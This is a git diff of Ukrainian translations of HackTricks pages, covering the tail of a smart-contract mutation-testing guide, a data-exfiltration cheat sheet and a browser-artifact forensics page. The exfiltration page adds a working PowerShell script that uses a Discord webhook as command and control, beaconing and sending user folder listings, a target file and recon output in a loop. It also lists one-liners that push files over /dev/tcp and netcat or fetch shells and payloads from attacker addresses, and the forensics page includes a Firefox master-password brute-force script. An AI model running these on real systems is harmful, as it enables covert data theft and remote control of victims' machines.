INFO:Slither-Mutate:[CR] Line 33: 'cmdsToExecute.last().value = _cmd.value' ==> '//cmdsToExecute.last().value = _cmd.value' --> UNCAUGHT
```
Закоментування присвоєння не порушило тести, що свідчить про відсутність перевірок кінцевого стану. Корінь проблеми: код довіряв керованому користувачем `_cmd.value` замість перевірки фактичних переказів токенів. Атакуючий міг десинхронізувати очікувані та фактичні перекази, щоб викрасти кошти. Наслідок: високий ризик для платоспроможності протоколу.
Guidance: вважайте вцілілих мутантів, які впливають на перекази коштів, облік або контроль доступу, високоризиковими доти, доки їх не ліквідують.
## Practical checklist
- Run a targeted campaign:
- `slither-mutate ./src/contracts --test-cmd="forge test"`
- Проаналізуйте вцілілих мутантів і напишіть тести/інваріанти, які провалювалися б при модифікованій поведінці.
- Assert balances, supply, authorizations, and events.
- Add boundary tests (`==`, overflows/underflows, zero-address, zero-amount, empty arrays).
- Replace unrealistic mocks; simulate failure modes.
- Iterate until all mutants are killed or justified with comments and rationale.
## References
- [Use mutation testing to find the bugs your tests don't catch (Trail of Bits)](https://blog.trailofbits.com/2025/09/18/use-mutation-testing-to-find-the-bugs-your-tests-dont-catch/)
- [Arkis DeFi Prime Brokerage Security Review (Appendix C)](https://github.com/trailofbits/publications/blob/master/reviews/2024-12-arkis-defi-prime-brokerage-securityreview.pdf)
- [Slither (GitHub)](https://github.com/crytic/slither)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,19 +1,19 @@
# Екстракція
# Exfiltration
{{#include ../banners/hacktricks-training.md}}
## Загальновідомі домени, які дозволяють екстракцію інформації
## Поширені whitelisted домени для exfiltrate інформації
Перевірте [https://lots-project.com/](https://lots-project.com/), щоб знайти загальновідомі домени, які можна зловживати
Перевірте [https://lots-project.com/](https://lots-project.com/), щоб знайти commonly whitelisted domains, якими можна зловживати
## Копіювати\&Вставити Base64
## Copy\&Paste Base64
**Linux**
```bash
base64 -w0 <file> #Encode file
base64 -d file #Decode file
```
**Вікна**
**Windows**
```
certutil -encode payload.dll payload.b64
certutil -decode payload.b64 payload.dll
@ -27,7 +27,7 @@ wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm
curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py
fetch 10.10.14.14:8000/shell.py #FreeBSD
```
**Вікна**
**Windows**
```bash
certutil -urlcache -split -f http://webserver/payload.b64 payload.b64
bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf
@ -46,7 +46,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
- [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
- Python модуль [uploadserver](https://pypi.org/project/uploadserver/):
- Модуль Python [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
python3 -m pip install --user uploadserver
@ -59,7 +59,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt'
# With basic auth:
# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
```
### **HTTPS Сервер**
### **HTTPS сервер**
```python
# from https://gist.github.com/dergachev/7028596
# taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/
@ -100,6 +100,91 @@ if __name__ == "__main__":
app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
###
```
## Webhooks (Discord/Slack/Teams) для C2 & Data Exfiltration
Webhooks — це write-only HTTPS endpoints, які приймають JSON та необов'язкові частини файлів. Їх зазвичай дозволяють для trusted SaaS domains і вони не потребують OAuth/API keys, що робить їх корисними для low-friction beaconing та exfiltration.
Ключові ідеї:
- Endpoint: Discord використовує https://discord.com/api/webhooks/<id>/<token>
- POST multipart/form-data з частиною під назвою payload_json, що містить {"content":"..."} та необов'язковою(-ими) частиною(ями) файлу під назвою file.
- Operator loop pattern: periodic beacon -> directory recon -> targeted file exfil -> recon dump -> sleep. HTTP 204 NoContent/200 OK підтверджують доставку.
PowerShell PoC (Discord):
```powershell
# 1) Configure webhook and optional target file
$webhook = "https://discord.com/api/webhooks/YOUR_WEBHOOK_HERE"
$target = Join-Path $env:USERPROFILE "Documents\SENSITIVE_FILE.bin"
# 2) Reuse a single HttpClient
$client = [System.Net.Http.HttpClient]::new()
function Send-DiscordText {
param([string]$Text)
$payload = @{ content = $Text } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($payload, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] text -> $($resp.StatusCode)"
}
function Send-DiscordFile {
param([string]$Path, [string]$Name)
if (-not (Test-Path $Path)) { return }
$bytes = [System.IO.File]::ReadAllBytes($Path)
$fileContent = New-Object System.Net.Http.ByteArrayContent(,$bytes)
$fileContent.Headers.ContentType = [System.Net.Http.Headers.MediaTypeHeaderValue]::Parse("application/octet-stream")
$json = @{ content = ":package: file exfil: $Name" } | ConvertTo-Json -Compress
$jsonContent = New-Object System.Net.Http.StringContent($json, [System.Text.Encoding]::UTF8, "application/json")
$mp = New-Object System.Net.Http.MultipartFormDataContent
$mp.Add($jsonContent, "payload_json")
$mp.Add($fileContent, "file", $Name)
$resp = $client.PostAsync($webhook, $mp).Result
Write-Host "[Discord] file $Name -> $($resp.StatusCode)"
}
# 3) Beacon/recon/exfil loop
$ctr = 0
while ($true) {
$ctr++
# Beacon
$beacon = "━━━━━━━━━━━━━━━━━━`n:satellite: Beacon`n```User: $env:USERNAME`nHost: $env:COMPUTERNAME```"
Send-DiscordText -Text $beacon
# Every 2nd: quick folder listing
if ($ctr % 2 -eq 0) {
$dirs = @("Documents","Desktop","Downloads","Pictures")
$acc = foreach ($d in $dirs) {
$p = Join-Path $env:USERPROFILE $d
$items = Get-ChildItem -Path $p -ErrorAction SilentlyContinue | Select-Object -First 3 -ExpandProperty Name
if ($items) { "`n$d:`n - " + ($items -join "`n - ") }
}
Send-DiscordText -Text (":file_folder: **User Dirs**`n━━━━━━━━━━━━━━━━━━`n```" + ($acc -join "") + "```")
}
# Every 3rd: targeted exfil
if ($ctr % 3 -eq 0) { Send-DiscordFile -Path $target -Name ([IO.Path]::GetFileName($target)) }
# Every 4th: basic recon
if ($ctr % 4 -eq 0) {
$who = whoami
$ip = ipconfig | Out-String
$tmp = Join-Path $env:TEMP "recon.txt"
"whoami:: $who`r`nIPConfig::`r`n$ip" | Out-File -FilePath $tmp -Encoding utf8
Send-DiscordFile -Path $tmp -Name "recon.txt"
}
Start-Sleep -Seconds 20
}
```
Примітки:
- Схожі підходи застосовуються до інших платформ для спільної роботи (Slack/Teams), що використовують incoming webhooks; відкоригуйте URL і JSON схему відповідно.
- Для DFIR артефактів кешу Discord Desktop та відновлення webhook/API див.:
{{#ref}}
../generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/discord-cache-forensics.md
{{#endref}}
## FTP
### FTP сервер (python)
@ -107,12 +192,12 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
pip3 install pyftpdlib
python3 -m pyftpdlib -p 21
```
### FTP сервер (NodeJS)
### FTP server (NodeJS)
```
sudo npm install -g ftp-srv --save
ftp-srv ftp://0.0.0.0:9876 --root /tmp
```
### FTP сервер (pure-ftp)
### FTP server (pure-ftp)
```bash
apt-get update && apt-get install pure-ftp
```
@ -130,7 +215,7 @@ mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
### **Клієнт Windows**
### **Windows** клієнт
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
@ -150,7 +235,7 @@ kali_op2> smbserver.py -smb2support name /path/folder # Share a folder
#For new Win10 versions
impacket-smbserver -smb2support -user test -password test test `pwd`
```
Або створіть smb спільний доступ **використовуючи samba**:
Або створіть smb-шару **за допомогою samba**:
```bash
apt-get install samba
mkdir /tmp/smb
@ -165,7 +250,7 @@ guest ok = Yes
#Start samba
service smbd restart
```
Віндовс
Windows
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -175,13 +260,13 @@ WindPS-2> cd new_disk:
```
## SCP
Атакуючий повинен мати запущений SSHd.
У зловмисника має бути запущений SSHd.
```bash
scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
Якщо жертва має SSH, зловмисник може змонтувати каталог з жертви до зловмисника.
Якщо у жертви є SSH, зловмисник може змонтувати каталог з системи жертви на систему зловмисника.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
@ -194,7 +279,7 @@ nc -vn <IP> 4444 < exfil_file
```
## /dev/tcp
### Завантажити файл з жертви
### Завантажити файл з victim
```bash
nc -lvnp 80 > file #Inside attacker
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
@ -206,7 +291,7 @@ nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
exec 6< /dev/tcp/10.10.10.10/4444
cat <&6 > file.txt
```
дякую **@BinaryShadow\_**
дякуємо **@BinaryShadow\_**
## **ICMP**
```bash
@ -228,33 +313,33 @@ sniff(iface="tun0", prn=process_packet)
```
## **SMTP**
Якщо ви можете надсилати дані на SMTP сервер, ви можете створити SMTP для отримання даних за допомогою python:
Якщо ви можете надсилати дані на SMTP server, ви можете створити SMTP для отримання даних за допомогою python:
```bash
sudo python -m smtpd -n -c DebuggingServer :25
```
## TFTP
За замовчуванням у XP та 2003 (в інших його потрібно явно додати під час установки)
За замовчуванням в XP і 2003 (в інших його потрібно явно додати під час встановлення)
У Kali, **запустіть TFTP сервер**:
У Kali, **start TFTP server**:
```bash
#I didn't get this options working and I prefer the python option
mkdir /tftp
atftpd --daemon --port 69 /tftp
cp /path/tp/nc.exe /tftp
```
**TFTP сервер на python:**
**TFTP-сервер на python:**
```bash
pip install ptftpd
ptftpd -p 69 tap0 . # ptftp -p <PORT> <IFACE> <FOLDER>
```
У **жертві** підключіться до сервера Kali:
У **victim**, підключіться до сервера Kali:
```bash
tftp -i <KALI-IP> get nc.exe
```
## PHP
Завантажте файл з PHP oneliner:
Завантажити файл за допомогою PHP oneliner:
```bash
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
```
@ -296,13 +381,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
```
## Debug.exe
Програма `debug.exe` не тільки дозволяє перевіряти бінарні файли, але також має **можливість відновлювати їх з шістнадцяткового коду**. Це означає, що, надаючи шістнадцятковий код бінарного файлу, `debug.exe` може згенерувати бінарний файл. Однак важливо зазначити, що debug.exe має **обмеження на складання файлів розміром до 64 кб**.
Програма `debug.exe` не лише дозволяє оглядати бінарні файли, але й має **можливість відновлювати їх з hex**. Це означає, що, надавши hex бінарного файлу, `debug.exe` може згенерувати бінарний файл. Однак важливо зауважити, що debug.exe має **обмеження на збірку файлів розміром до 64 kb**.
```bash
# Reduce the size
upx -9 nc.exe
wine exe2bat.exe nc.exe nc.txt
```
Потім вставте текст у вікно командного рядка Windows, і буде створено файл з назвою nc.exe.
Скопіюйте та вставте текст у windows-shell, і буде створено файл під назвою nc.exe.
- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
@ -310,4 +395,10 @@ wine exe2bat.exe nc.exe nc.txt
- [https://github.com/Stratiz/DNS-Exfil](https://github.com/Stratiz/DNS-Exfil)
## Посилання
- [Discord як C2 та кешовані докази, що залишилися позаду](https://www.pentestpartners.com/security-blog/discord-as-a-c2-and-the-cached-evidence-left-behind/)
- [Discord Webhooks Execute Webhook](https://discord.com/developers/docs/resources/webhook#execute-webhook)
- [Discord Forensic Suite (cache parser)](https://github.com/jwdfir/discord_cache_parser)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,57 +2,57 @@
{{#include ../../../banners/hacktricks-training.md}}
## Артефакти браузерів <a href="#id-3def" id="id-3def"></a>
## Browsers Artifacts <a href="#id-3def" id="id-3def"></a>
Артефакти браузера включають різні типи даних, збережених веб-браузерами, такі як історія навігації, закладки та кешовані дані. Ці артефакти зберігаються в специфічних папках в операційній системі, які відрізняються за місцем розташування та назвою в різних браузерах, але зазвичай зберігають подібні типи даних.
Артефакти браузера включають різні типи даних, які зберігають веб-браузери, такі як історія переходів, закладки та кеш. Ці артефакти зберігаються у специфічних папках в операційній системі, відрізняючись за розташуванням і назвою між браузерами, але зазвичай містять схожі типи даних.
Ось короткий огляд найпоширеніших артефактів браузера:
Короткий опис найпоширеніших артефактів браузера:
- **Історія навігації**: Відстежує відвідування користувачем веб-сайтів, корисно для ідентифікації відвідувань шкідливих сайтів.
- **Дані автозаповнення**: Пропозиції на основі частих пошуків, що надають інформацію в поєднанні з історією навігації.
- **Закладки**: Сайти, збережені користувачем для швидкого доступу.
- **Розширення та додатки**: Розширення браузера або додатки, встановлені користувачем.
- **Кеш**: Зберігає веб-контент (наприклад, зображення, файли JavaScript) для покращення часу завантаження веб-сайтів, цінне для судової експертизи.
- **Логіни**: Збережені облікові дані для входу.
- **Фавіконки**: Іконки, пов'язані з веб-сайтами, що з'являються на вкладках і в закладках, корисні для додаткової інформації про відвідування користувача.
- **Сесії браузера**: Дані, пов'язані з відкритими сесіями браузера.
- **Завантаження**: Записи файлів, завантажених через браузер.
- **Дані форм**: Інформація, введена у веб-форму, збережена для майбутніх пропозицій автозаповнення.
- **Ескізи**: Попередні зображення веб-сайтів.
- **Custom Dictionary.txt**: Слова, додані користувачем до словника браузера.
- **Navigation History**: Слідкує за відвідинами користувачем вебсайтів, корисно для ідентифікації переходів на зловмисні сайти.
- **Autocomplete Data**: Пропозиції на основі частих пошукових запитів, дають додаткову інформацію при комбінуванні з історією переходів.
- **Bookmarks**: Сайти, збережені користувачем для швидкого доступу.
- **Extensions and Add-ons**: Розширення або додатки, встановлені користувачем.
- **Cache**: Зберігає веб-контент (наприклад, зображення, JavaScript-файли) для пришвидшення завантаження сторінок, цінний для судово-медичного аналізу.
- **Logins**: Збережені облікові дані.
- **Favicons**: Іконки, пов’язані з вебсайтами, що з’являються у вкладках і закладках, корисні для додаткової інформації про відвідини.
- **Browser Sessions**: Дані, пов’язані з відкритими сесіями браузера.
- **Downloads**: Записи про файли, завантажені через браузер.
- **Form Data**: Інформація, введена у веб-форми, збережена для автозаповнення в майбутньому.
- **Thumbnails**: Зображення-прев’ю сайтів.
- **Custom Dictionary.txt**: Слова, додані користувачем у словник браузера.
## Firefox
Firefox організовує дані користувача в профілях, які зберігаються в специфічних місцях залежно від операційної системи:
Firefox організовує дані користувача в профілях, що зберігаються в певних місцях залежно від операційної системи:
- **Linux**: `~/.mozilla/firefox/`
- **MacOS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
- **Windows**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles/`
Файл `profiles.ini` в цих каталогах містить список профілів користувача. Дані кожного профілю зберігаються в папці, назва якої вказана в змінній `Path` у `profiles.ini`, розташованій в тому ж каталозі, що й `profiles.ini`. Якщо папка профілю відсутня, вона могла бути видалена.
Файл `profiles.ini` в цих директоріях перераховує профілі користувача. Дані кожного профілю зберігаються в папці, вказаній у змінній `Path` всередині `profiles.ini`, яка знаходиться в тій самій директорії, що й `profiles.ini`. Якщо папка профілю відсутня, можливо її було видалено.
У кожній папці профілю ви можете знайти кілька важливих файлів:
У кожній папці профілю можна знайти кілька важливих файлів:
- **places.sqlite**: Зберігає історію, закладки та завантаження. Інструменти, такі як [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) на Windows, можуть отримати доступ до даних історії.
- Використовуйте специфічні SQL-запити для витягування інформації про історію та завантаження.
- **places.sqlite**: Зберігає історію, закладки та завантаження. Інструменти на кшталт [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) на Windows можуть отримати доступ до даних історії.
- Використовуйте специфічні SQL-запити для витягання інформації про історію та завантаження.
- **bookmarkbackups**: Містить резервні копії закладок.
- **formhistory.sqlite**: Зберігає дані веб-форм.
- **handlers.json**: Керує обробниками протоколів.
- **persdict.dat**: Слова з користувацького словника.
- **addons.json** та **extensions.sqlite**: Інформація про встановлені додатки та розширення.
- **cookies.sqlite**: Зберігання куків, з [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html) доступним для перевірки на Windows.
- **cache2/entries** або **startupCache**: Дані кешу, доступні через інструменти, такі як [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **favicons.sqlite**: Зберігає фавіконки.
- **addons.json** та **extensions.sqlite**: Інформація про встановлені аддони та розширення.
- **cookies.sqlite**: Зберігання cookie; для перегляду на Windows доступний [MZCookiesView](https://www.nirsoft.net/utils/mzcv.html).
- **cache2/entries** або **startupCache**: Дані кешу, доступні через інструменти на кшталт [MozillaCacheView](https://www.nirsoft.net/utils/mozilla_cache_viewer.html).
- **favicons.sqlite**: Зберігає favicons.
- **prefs.js**: Налаштування та переваги користувача.
- **downloads.sqlite**: Стара база даних завантажень, тепер інтегрована в places.sqlite.
- **thumbnails**: Ескізи веб-сайтів.
- **logins.json**: Зашифрована інформація для входу.
- **key4.db** або **key3.db**: Зберігає ключі шифрування для захисту чутливої інформації.
- **thumbnails**: Ескізи сайтів.
- **logins.json**: Зашифровані дані входу.
- **key4.db** або **key3.db**: Зберігає ключі шифрування для захисту конфіденційної інформації.
Крім того, перевірити налаштування антифішингу браузера можна, шукаючи записи `browser.safebrowsing` у `prefs.js`, що вказує, чи увімкнено або вимкнено функції безпечного перегляду.
Також перевірка налаштувань антифішингу браузера може бути здійснена пошуком записів `browser.safebrowsing` у `prefs.js`, що вказує, чи увімкнені або вимкнені функції безпечного перегляду.
Щоб спробувати розшифрувати майстер-пароль, ви можете використовувати [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
З наступним скриптом і викликом ви можете вказати файл пароля для брутфорсу:
To try to decrypt the master password, you can use [https://github.com/unode/firefox_decrypt](https://github.com/unode/firefox_decrypt)\
With the following script and call you can specify a password file to brute force:
```bash:brute.sh
#!/bin/bash
@ -67,63 +67,69 @@ done < $passfile
## Google Chrome
Google Chrome зберігає профілі користувачів у специфічних місцях залежно від операційної системи:
Google Chrome зберігає профілі користувачів у певних місцях залежно від операційної системи:
- **Linux**: `~/.config/google-chrome/`
- **Windows**: `C:\Users\XXX\AppData\Local\Google\Chrome\User Data\`
- **MacOS**: `/Users/$USER/Library/Application Support/Google/Chrome/`
У цих каталогах більшість даних користувача можна знайти у папках **Default/** або **ChromeDefaultData/**. Наступні файли містять значні дані:
У цих директоріях більшість даних користувача знаходяться в папках **Default/** або **ChromeDefaultData/**. Наступні файли містять важливу інформацію:
- **History**: Містить URL-адреси, завантаження та ключові слова пошуку. На Windows можна використовувати [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html) для читання історії. Стовпець "Transition Type" має різні значення, включаючи кліки користувача на посилання, введені URL-адреси, відправлення форм та перезавантаження сторінок.
- **Cookies**: Зберігає куки. Для перевірки доступний [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
- **Cache**: Містить кешовані дані. Для перевірки користувачі Windows можуть використовувати [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
- **History**: Містить URL, завантаження та ключові слова пошуку. У Windows для читання history можна використати [ChromeHistoryView](https://www.nirsoft.net/utils/chrome_history_view.html). Стовпець "Transition Type" має різні значення, включаючи кліки користувача по посиланнях, введені URL, відправку форм і перезавантаження сторінки.
- **Cookies**: Зберігає cookies. Для перегляду доступний [ChromeCookiesView](https://www.nirsoft.net/utils/chrome_cookies_view.html).
- **Cache**: Містить кешовані дані. Для огляду користувачі Windows можуть використати [ChromeCacheView](https://www.nirsoft.net/utils/chrome_cache_view.html).
Electron-based desktop apps (e.g., Discord) також використовують Chromium Simple Cache і залишають багаті артефакти на диску. Див.:
{{#ref}}
discord-cache-forensics.md
{{#endref}}
- **Bookmarks**: Закладки користувача.
- **Web Data**: Містить історію форм.
- **Favicons**: Зберігає фавіконки веб-сайтів.
- **Login Data**: Включає облікові дані для входу, такі як імена користувачів та паролі.
- **Current Session**/**Current Tabs**: Дані про поточну сесію перегляду та відкриті вкладки.
- **Favicons**: Зберігає favicon сайтів.
- **Login Data**: Містить облікові дані для входу, такі як імена користувачів і паролі.
- **Current Session**/**Current Tabs**: Дані про поточну сесію браузера та відкриті вкладки.
- **Last Session**/**Last Tabs**: Інформація про сайти, активні під час останньої сесії перед закриттям Chrome.
- **Extensions**: Каталоги для розширень браузера та додатків.
- **Thumbnails**: Зберігає ескізи веб-сайтів.
- **Preferences**: Файл, багатий на інформацію, включаючи налаштування для плагінів, розширень, спливаючих вікон, сповіщень та інше.
- **Browsers built-in anti-phishing**: Щоб перевірити, чи увімкнено захист від фішингу та шкідливих програм, виконайте `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Шукайте `{"enabled: true,"}` у виході.
- **Extensions**: Директорії для розширень і додатків браузера.
- **Thumbnails**: Зберігає мініатюри сайтів.
- **Preferences**: Файл, багатий на інформацію, включаючи налаштування плагінів, розширень, спливаючих вікон, сповіщень тощо.
- **Browsers built-in anti-phishing**: Щоб перевірити, чи увімкнено захист від фішингу та шкідливого ПЗ, виконайте `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`. Шукайте `{"enabled: true,"}` у виводі.
## **SQLite DB Data Recovery**
Як ви можете спостерігати в попередніх розділах, як Chrome, так і Firefox використовують **SQLite** бази даних для зберігання даних. Можна **відновити видалені записи за допомогою інструменту** [**sqlparse**](https://github.com/padfoot999/sqlparse) **або** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
Як видно з попередніх розділів, і Chrome, і Firefox використовують **SQLite** бази даних для зберігання даних. Можна **відновити видалені записи за допомогою інструменту** [**sqlparse**](https://github.com/padfoot999/sqlparse) **або** [**sqlparse_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases).
## **Internet Explorer 11**
Internet Explorer 11 управляє своїми даними та метаданими в різних місцях, що допомагає розділити збережену інформацію та відповідні деталі для легкого доступу та управління.
Internet Explorer 11 керує своїми даними та метаданими в різних місцях, що дозволяє розділяти збережену інформацію та відповідні деталі для зручного доступу й управління.
### Metadata Storage
Метадані для Internet Explorer зберігаються в `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (з VX, що може бути V01, V16 або V24). У супроводі цього файл `V01.log` може показувати розбіжності в часі модифікації з `WebcacheVX.data`, що вказує на необхідність ремонту за допомогою `esentutl /r V01 /d`. Ці метадані, що зберігаються в базі даних ESE, можна відновити та перевірити за допомогою таких інструментів, як photorec та [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html). У таблиці **Containers** можна розрізнити конкретні таблиці або контейнери, де зберігається кожен сегмент даних, включаючи деталі кешу для інших інструментів Microsoft, таких як Skype.
Метадані Internet Explorer зберігаються в `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (де VX — V01, V16 або V24). Додатково файл `V01.log` може показувати невідповідність часу модифікації з `WebcacheVX.data`, що вказує на необхідність ремонту за допомогою `esentutl /r V01 /d`. Ці метадані, які розміщені в ESE базі даних, можна відновити та проаналізувати за допомогою інструментів типу photorec і [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html). У таблиці **Containers** можна визначити конкретні таблиці або контейнери, де зберігається кожен сегмент даних, включаючи деталі кешу для інших Microsoft-інструментів, таких як Skype.
### Cache Inspection
Інструмент [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) дозволяє перевіряти кеш, вимагаючи місцезнаходження папки для витягування даних кешу. Метадані для кешу включають ім'я файлу, каталог, кількість доступів, URL-адресу походження та часові мітки, що вказують на час створення, доступу, модифікації та закінчення терміну дії кешу.
Інструмент [IECacheView](https://www.nirsoft.net/utils/ie_cache_viewer.html) дозволяє оглядати кеш, вимагаючи вказати папку з витягнутими даними кешу. Метадані кешу включають ім’я файлу, директорію, лічильник доступів, URL-джерело та часові мітки створення, доступу, модифікації і терміну дії кешу.
### Cookies Management
Куки можна досліджувати за допомогою [IECookiesView](https://www.nirsoft.net/utils/iecookies.html), з метаданими, що охоплюють імена, URL-адреси, кількість доступів та різні часові деталі. Постійні куки зберігаються в `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, а сесійні куки знаходяться в пам'яті.
Куки можна дослідити за допомогою [IECookiesView](https://www.nirsoft.net/utils/iecookies.html); метадані охоплюють імена, URL, лічильники доступів та різні часові деталі. Постійні куки зберігаються в `%userprofile%\Appdata\Roaming\Microsoft\Windows\Cookies`, тоді як сесійні куки перебувають у пам’яті.
### Download Details
Метадані завантажень доступні через [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), з конкретними контейнерами, що містять дані, такі як URL, тип файлу та місце завантаження. Фізичні файли можна знайти в `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
Метадані про завантаження доступні через [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html), причому певні контейнери зберігають дані такі як URL, тип файлу і місце завантаження. Файли на диску можна знайти в `%userprofile%\Appdata\Roaming\Microsoft\Windows\IEDownloadHistory`.
### Browsing History
Щоб переглянути історію перегляду, можна використовувати [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), вимагаючи місцезнаходження витягнутих файлів історії та налаштувань для Internet Explorer. Метадані тут включають час модифікації та доступу, а також кількість доступів. Файли історії розташовані в `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
Для перегляду історії браузера можна використати [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html), вказавши місце витягнутих файлів історії і налаштувавши інструмент для Internet Explorer. Метадані включають часи модифікації й доступу, а також лічильники доступів. Файли історії розташовані в `%userprofile%\Appdata\Local\Microsoft\Windows\History`.
### Typed URLs
Введені URL-адреси та час їх використання зберігаються в реєстрі під `NTUSER.DAT` за адресами `Software\Microsoft\InternetExplorer\TypedURLs` та `Software\Microsoft\InternetExplorer\TypedURLsTime`, відстежуючи останні 50 URL-адрес, введених користувачем, та час їх останнього введення.
Введені URL та часи їх використання зберігаються в реєстрі в NTUSER.DAT за шляхами `Software\Microsoft\InternetExplorer\TypedURLs` та `Software\Microsoft\InternetExplorer\TypedURLsTime`, відстежуючи останні 50 URL, введених користувачем, та часи їхнього останнього вводу.
## Microsoft Edge
Microsoft Edge зберігає дані користувачів у `%userprofile%\Appdata\Local\Packages`. Шляхи для різних типів даних:
Microsoft Edge зберігає дані користувача в `%userprofile%\Appdata\Local\Packages`. Шляхи до різних типів даних:
- **Profile Path**: `C:\Users\XX\AppData\Local\Packages\Microsoft.MicrosoftEdge_XXX\AC`
- **History, Cookies, and Downloads**: `C:\Users\XX\AppData\Local\Microsoft\Windows\WebCache\WebCacheV01.dat`
@ -133,24 +139,24 @@ Microsoft Edge зберігає дані користувачів у `%userprofi
## Safari
Дані Safari зберігаються за адресою `/Users/$User/Library/Safari`. Ключові файли включають:
Дані Safari зберігаються в `/Users/$User/Library/Safari`. Ключові файли включають:
- **History.db**: Містить таблиці `history_visits` та `history_items` з URL-адресами та часовими мітками відвідувань. Використовуйте `sqlite3` для запитів.
- **History.db**: Містить таблиці `history_visits` і `history_items` з URL та часовими мітками відвідувань. Використовуйте `sqlite3` для запитів.
- **Downloads.plist**: Інформація про завантажені файли.
- **Bookmarks.plist**: Зберігає закладені URL-адреси.
- **Bookmarks.plist**: Збережені закладки.
- **TopSites.plist**: Найчастіше відвідувані сайти.
- **Extensions.plist**: Список розширень браузера Safari. Використовуйте `plutil` або `pluginkit` для отримання.
- **UserNotificationPermissions.plist**: Доменні імена, яким дозволено надсилати сповіщення. Використовуйте `plutil` для парсингу.
- **Extensions.plist**: Список розширень Safari. Використовуйте `plutil` або `pluginkit` для отримання інформації.
- **UserNotificationPermissions.plist**: Домени, яким дозволено надсилати сповіщення. Використовуйте `plutil` для парсингу.
- **LastSession.plist**: Вкладки з останньої сесії. Використовуйте `plutil` для парсингу.
- **Browsers built-in anti-phishing**: Перевірте, використовуючи `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Відповідь 1 вказує на те, що функція активна.
- **Browsers built-in anti-phishing**: Перевірте за допомогою `defaults read com.apple.Safari WarnAboutFraudulentWebsites`. Відповідь 1 означає, що функція активна.
## Opera
Дані Opera знаходяться в `/Users/$USER/Library/Application Support/com.operasoftware.Opera` і використовують формат Chrome для історії та завантажень.
Дані Opera розташовані в `/Users/$USER/Library/Application Support/com.operasoftware.Opera` і мають формат історії та завантажень, подібний до Chrome.
- **Browsers built-in anti-phishing**: Перевірте, чи `fraud_protection_enabled` у файлі Preferences встановлено на `true`, використовуючи `grep`.
- **Browsers built-in anti-phishing**: Переконайтеся, що `fraud_protection_enabled` у файлі Preferences встановлено в `true`, використовуючи `grep`.
Ці шляхи та команди є важливими для доступу та розуміння даних перегляду, збережених різними веб-браузерами.
Ці шляхи та команди є ключовими для доступу та розуміння даних перегляду, що зберігаються різними веб-браузерами.
## References

View File

@ -0,0 +1,89 @@
# Форензика кешу Discord (Chromium Simple Cache)
{{#include ../../../banners/hacktricks-training.md}}
